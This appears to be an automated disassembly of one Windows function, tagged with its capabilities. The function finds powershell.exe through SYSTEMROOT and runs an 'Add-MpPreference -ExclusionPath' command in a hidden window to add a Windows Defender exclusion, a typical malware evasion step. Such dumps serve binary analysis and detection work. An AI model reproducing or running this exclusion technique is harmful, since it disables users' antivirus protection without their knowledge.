Function at 0x402790
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492399
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x4b14c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00402680
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x402f28
push 0x4b3850
lea ecx, [ebp - 0x2c]
call fcn.004054c0
mov dword [ebp - 4], 0
lea edi, [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
cmp edx, 7
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
cmova edi, esi
cmp edx, 7
lea eax, [ebp - 0x2c]
cmova eax, esi
lea eax, [eax + ecx*2]
cmp edi, eax
je 0x4028c2
movzx eax, word [edi]
mov edx, eax
mov dword [ebp - 0xcc], edx
mov edx, dword [ebp - 0x18]
cmp eax, 0x22
je 0x402825
cmp ax, 0x5c
jne 0x4028ba
cmp edx, 7
lea eax, [ebp - 0x2c]
cmova eax, esi
sub edi, eax
sar edi, 1
cmp ecx, edi
jb 0x402f49
mov eax, edx
sub eax, ecx
cmp eax, 1
jb 0x402885
lea eax, [ecx + 1]
cmp edx, 7
mov dword [ebp - 0x1c], eax
lea edx, [edi + edi]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xcc], edx
cmova eax, esi
sub ecx, edi
lea esi, [edx + eax]
lea eax, [ecx*2 + 2]
push eax
lea eax, [esi + 2]
push esi
push eax
call fcn.00469f20
mov edi, dword [ebp - 0xcc]
mov eax, 0x5c
add esp, 0xc
mov word [esi], ax
jmp 0x4028a3
push 0x5c
push 1
push edi
mov byte [ebp - 0xe8], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0xe8]
push 1
call fcn.00407100
add edi, edi
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x2c]
cmp edx, 7
mov ecx, dword [ebp - 0x1c]
cmova eax, esi
add eax, 2
add edi, eax
add edi, 2
jmp 0x4027f4
xorps xmm0, xmm0
mov dword [ebp - 0x48], 7
xor edi, edi
xor eax, eax
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], edi
mov word [ebp - 0x5c], ax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff9
cmp eax, 4
ja case.0x4028ee.9
jmp dword [eax*4 + 0x402f6c]
mov eax, bind
sub eax, ecx
cmp eax, 0x21
jb 0x402f4e
push ecx
cmp edx, 7
lea eax, [ebp - 0x2c]
cmova eax, esi
push eax
push 0x21
push str.Add_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe4]
call fcn.00407730
push 0x4ab210
lea edx, [ebp - 0xe4]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x44]
call fcn.00406c50
add esp, 4
lea ecx, [ebp - 0x5c]
push eax
call fcn.00405310
mov ecx, dword [ebp - 0x30]
cmp ecx, 7
jbe 0x402983
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402979
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f53
push ecx
push edx
call fcn.00468192
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
cmp ecx, 7
jbe 0x4029db
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4029d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f53
push ecx
push edx
call fcn.00468192
add esp, 8
mov edi, dword [ebp - 0x4c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
xor eax, eax
mov dword [ebp - 0x30], 7
movups xmmword [ebp - 0x44], xmm0
mov word [ebp - 0x44], ax
push 0x208
mov byte [ebp - 4], 3
call fcn.004681a0
mov esi, eax
add esp, 4
mov dword [ebp - 0x14], esi
push 0x104
push esi
push str.SYSTEMROOT
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x402eee
cmp eax, 0x104
ja 0x402eee
push esi
lea ecx, [ebp - 0x100]
call fcn.004053a0
push str.System32WindowsPowerShell_v1.0powershell.exe
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xe4]
call fcn.00406c50
add esp, 4
lea ecx, [ebp - 0x44]
push eax
call fcn.00405310
mov ecx, dword [ebp - 0xd0]
cmp ecx, 7
jbe 0x402aa5
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402a9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f58
push ecx
push edx
call fcn.00468192
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 7
mov word [ebp - 0xe4], ax
cmp ecx, 7
jbe 0x402b06
mov edx, dword [ebp - 0x100]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402afc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f58
push ecx
push edx
call fcn.00468192
add esp, 8
push esi
mov byte [ebp - 4], 3
call fcn.0046815d
mov ecx, dword [ebp - 0x34]
mov eax, bind
sub eax, ecx
add esp, 4
cmp eax, 0xb
jb 0x402f5d
cmp dword [ebp - 0x30], 7
lea eax, [ebp - 0x44]
push 0xb
cmova eax, dword [ebp - 0x44]
push 0x4ab344
push ecx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x100]
call fcn.00407730
mov byte [ebp - 4], 6
lea edx, [ebp - 0x5c]
cmp dword [ebp - 0x48], 7
mov ecx, dword [ebp - 0xf0]
cmova edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xec]
sub eax, ecx
mov dword [ebp - 0x14], ecx
cmp edi, eax
ja 0x402bae
cmp dword [ebp - 0xec], 7
lea eax, [edi + ecx]
lea esi, [ebp - 0x100]
mov dword [ebp - 0xf0], eax
cmova esi, dword [ebp - 0x100]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call fcn.00469f20
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
lea eax, [ebp - 0x100]
jmp 0x402bc3
push edi
push edx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x100]
push dword [ebp - 0x14]
push edi
call fcn.00407ab0
mov esi, dword [ebp - 0x5c]
xorps xmm0, xmm0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd4], 0
xor ecx, ecx
mov dword [ebp - 0xd0], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x4ab340
lea edx, [ebp - 0xe4]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x74]
call fcn.00406c50
add esp, 4
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xd0]
cmp ecx, 7
jbe 0x402c6c
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402c62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f62
push ecx
push edx
call fcn.00468192
add esp, 8
xor eax, eax
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 7
mov word [ebp - 0xe4], ax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xec]
cmp ecx, 7
jbe 0x402ccd
mov edx, dword [ebp - 0x100]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402cc3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f62
push ecx
push edx
call fcn.00468192
add esp, 8
xor eax, eax
mov dword [ebp - 0xf0], 0
push 0x40
push eax
mov word [ebp - 0x100], ax
lea eax, [ebp - 0xb4]
push eax
mov dword [ebp - 0xec], 7
mov dword [ebp - 0xb8], 0x44
call fcn.00469c90
add esp, 0xc
lea ecx, [ebp - 0xc8]
cmp dword [ebp - 0x60], 7
lea eax, [ebp - 0x74]
xorps xmm0, xmm0
cmova eax, dword [ebp - 0x74]
push ecx
lea ecx, [ebp - 0xb8]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
movups xmmword [ebp - 0xc8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402d55
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Failed_to_add_Windows_Defender_exclusion.
jmp 0x402f2d
mov eax, dword [ebp - 0xc8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x402d98
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xc8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x402e96
cmp dword [ebp - 0x14], 0
jne 0x402e96
push dword [ebp - 0xc8]
call edi
mov eax, dword [ebp - 0xc4]
test eax, eax
je 0x402da5
push eax
call edi
mov ecx, dword [ebp - 0x60]
cmp ecx, 7
jbe 0x402ddf
mov edx, dword [ebp - 0x74]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402dd5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f67
push ecx
push edx
call fcn.00468192
add esp, 8
mov ecx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
cmp ecx, 7
jbe 0x402e2d
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402e23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f67
push ecx
push edx
call fcn.00468192
add esp, 8
mov eax, dword [ebp - 0x48]
cmp eax, 7
jbe 0x402e64
lea ecx, [eax*2 + 2]
mov eax, esi
cmp ecx, 0x1000
jb 0x402e5a
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f67
push ecx
push esi
call fcn.00468192
add esp, 8
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x402ed3
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402ec9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f67
jmp 0x402ec9
push dword [ebp - 0xc8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc4]
call esi
push str.Failed_to_add_Windows_Defender_exclusion.
lea ecx, [ebp - 0x10c]
call fcn.00401490
push 0x4af6ac
lea eax, [ebp - 0x10c]
jmp 0x402f43
push ecx
push edx
call fcn.00468192
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046814f
mov esp, ebp
pop ebp
ret
push str.Failed_to_get_SYSTEMROOT_environment_variable.
lea ecx, [ebp - 0x10c]
call fcn.00401490
push 0x4af6ac
lea eax, [ebp - 0x10c]
jmp 0x402f43
push str.Windows_version_not_supported_for_adding_exclusions.
lea ecx, [ebp - 0x10c]
call fcn.00401490
push 0x4af6ac
lea eax, [ebp - 0x10c]
jmp 0x402f43
push str.Unknown_or_unsupported_Windows_version.
lea ecx, [ebp - 0x118]
call fcn.00401490
push 0x4af6ac
lea eax, [ebp - 0x118]
push eax
call fcn.0046a8fb
call fcn.00406b10
call fcn.00401480
call fcn.0046f563
call fcn.0046f563
call fcn.00401480
call fcn.0046f563
call fcn.0046f563
fisubr word [ecx]
inc eax
add ch, dh
sub byte [eax], al
or ebp, dword [edi]
inc eax
add ch, dh
sub byte [eax], al
cmc
sub byte [eax], al